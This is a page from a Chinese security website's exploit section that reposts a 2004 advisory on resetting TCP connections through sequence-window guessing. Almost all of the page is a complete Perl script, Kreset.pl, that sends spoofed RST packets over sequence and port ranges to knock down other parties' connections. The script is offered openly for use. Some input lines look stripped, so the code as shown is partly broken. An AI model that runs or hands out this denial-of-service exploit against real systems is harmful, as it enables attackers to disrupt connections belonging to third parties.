首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
TCP Window Size RST
来源:www.bugkidz.org 作者:Darkness 发布时间:2004-06-22  

TCP Window Size RST

Summary
A vulnerability has been found in most TCP implementations which allows an attacker to reset any TCP connection provided some parameters are known (IP addresses of the peers and port numbers). The exploit script below can be used to reset any TCP connection once the range of sequence numbers is found.

Details
Exploit:
#!/usr/bin/perl

use Net::RawIP;
## Kreator -> K-sPecial [http://xzziroz.freeshell.org]
## Date -> 4-23-2004
## Name -> Kreset.pl
## Version -> 1.0
##
## Use -> Used to reset a TCP connecting.
## (Using the slipping throught he window meathod described on 4-20-04)
## DESCRIBED HERE: http://www.uniras.gov.uk/vuls/2004/236929/index.htm
##
## Usage -> If you don't fuckin know how to use it, don't use it.
##
## Other -> I played around on nix for a few hours to get the idea down
## pat. I set up an IRCD and connected to it, looked at tcpdump to
## get irssi's local port. irssi's window size was larger so I figured
## i would pretend to be sending RST from server, irssi window
## was around
## 30K while ircd window around 3K, big difference :D. So I enter values
## and since the connection is loop back, i used 0.0 seconds between
## packets.
## it only took a few minutes to disconnect with a 0.0 overlay and
## a 30K window starting at sequence number 0. Only problem over
## the internet, is finding the port of each side, sure you know the
## servers port but not the clients. I got to sequence number 1512500
## using a .10 second delay and a window size of 2500. Sequence
## numbers are
## 32 bit numbers, 32 1's comes out to be 4294967295.
## Do the math, and you know precisely how long it takes to cover
## every sequence RANGE of a given port using a given window size.
## Window sizes should be based on application layer program.
##
## NOTE -> This script assumes you know at least one of the ports,
## if the case is otherwise
## then the script can easily be modified to work around this. Also,
## this was written for
## UNIX variants.

print <-> Kreset.pl by K-sPecial [4-23-2004]
-> Used to reset a connection based on the slipping
-> through the window meathod, exploited publicly on 4-20-2004.
-> [http://xzziroz.freeshell.org]
-> Greets: K-sPecial (myself), saevio, attila, zeedo, uzimonkey
-> eightball, unmanarc, Buuyo^, and whomever else I forgot.
EOF

print "\r\nDo you want a port range for the source IP, or the dest IP ";
print "\r\nIf you want it for the source, type 1, otherwise 2.";
print "\r\nIf you don't want it for either, type one or the other: ";
chomp (my $choice = );
unless ($choice == 1 || $choice == 2) {
print "\r\nEnter 1, or 2.\r\n";
exit(1);
}
print "\r\nEnter source IP: ";
chomp (my $sip = );
if ($choice == 2) {
print "\r\nEnter source port: ";
chomp ($sport = );
if (!($sport)) {
print "\r\nYou must fill in a source port.\r\n";
}
}
print "\r\nEnter dest IP: ";
chomp (my $dip = );
if ($choice == 1) {
print "\r\nEnter dest port: ";
chomp ($dport = );
if (!($dport)) {
print "\r\nYou must fill in a destination port.\r\n";
exit(1);
}
}
print "\r\nEnter begin port: ";
chomp (my $bport = );
print "\r\nEnter end port: ";
chomp (my $eport = );
if (!($sip) || !($dip) || !($bport) || !($eport)) {
print "\r\nYou forgot to fill in one or more fields.\r\n";
exit(1); ## Yea hahah we don't exit (0) anymore. LOL
}
print "\r\nDestinations guessed window size,";
print "\r\nIf you don't define this, we will try small (2500): ";
chomp (my $winsize = ); ## Why did the window cross the road
if (!($winsize)) {
$winsize = 2500;
}
print "\r\nStarting sequence number,";
print "\r\nIf you don't define this, we will start at 0: ";
chomp (my $seqnum = ); ## So he could prevent sequence numbers
if (!($seqnum)) { ## from getting through!
$seqnum = 0;
}

print "\r\nNumber of seconds to wait between each packet sent,";
print "\r\nENTER DOTTED DECIMALS HERE PRECEEDED BY A 0 TO";
print "\r\nINDICATE NO MINUTES: 0.10 == 100 ms, 0.0 = 0 ms";
print "\r\nIf you don't define this, we will use 0.10: ";
chomp (my $ms = );
if (!($ms)) {
$ms = "0.10";
}

print <
Source IP is -> $sip
Source port is -> $sport
Destination IP is -> $dip
Guessed window size is -> $winsize
Starting sequence number is -> $seqnum
Loop wait is -> $ms
Begin port is -> $bport
End port is -> $eport
EOF
print "Destination port is -> $dport\r\n" if $dport;
print "Source port is -> $sport\r\n" if $sport;
print "\r\n";

my $i = $seqnum;
## LOOKS WHATS FOLLOWS! WES ARES SO LEETS WITHS OURS SELECTS TRICKSES!
## P.S K-sPecial's hopes yours usings a nix variants or this selects
## tricks just mights nots works.
for ($i; 1; $i += $winsize) {
if ($i > 4294967295) {
$bport++;
if ($bport > $eport) {
print "Finished\r\n";
exit(0);
}
else {
print "Looping next port.\r\n";
$i = $seqnum;
sleep(2);
next;
}
}
if ($choice == 2) {
$dport = $bport;
}
else {
$sport = $bport;
}

select(undef, undef, undef, $ms);
print "Sequence Number is -> $i port is -> $bport\r\n";

$a = new Net::RawIP;
$a->set({ip => {saddr => "$sip",daddr => "$dip"},
tcp => {source => $sport,dest => $dport,rst => 1,
syn => 1, seq => $i}}) ;


$a->send;
}




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Exploit stmkfont of HPUX to ge
·ASP版SQLSERVER注射数据表结构猜
·Linux Kernel 2.4.x-2.6.x Local
·serv-u本地权限提升工具
·Exploit xfs command of HPUX to
·c/s型asp木马
·Toca Race Driver 1 multiple Do
·Ircd-Hybrid-7/Ircd-Ratbox Low-
·Squid STABLE NTLM authenticate
·Remote D.O.S WinAgents TFTP Se
·Subversion svn_time_from_cstri
·PoC poisoning cache attack SEF
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved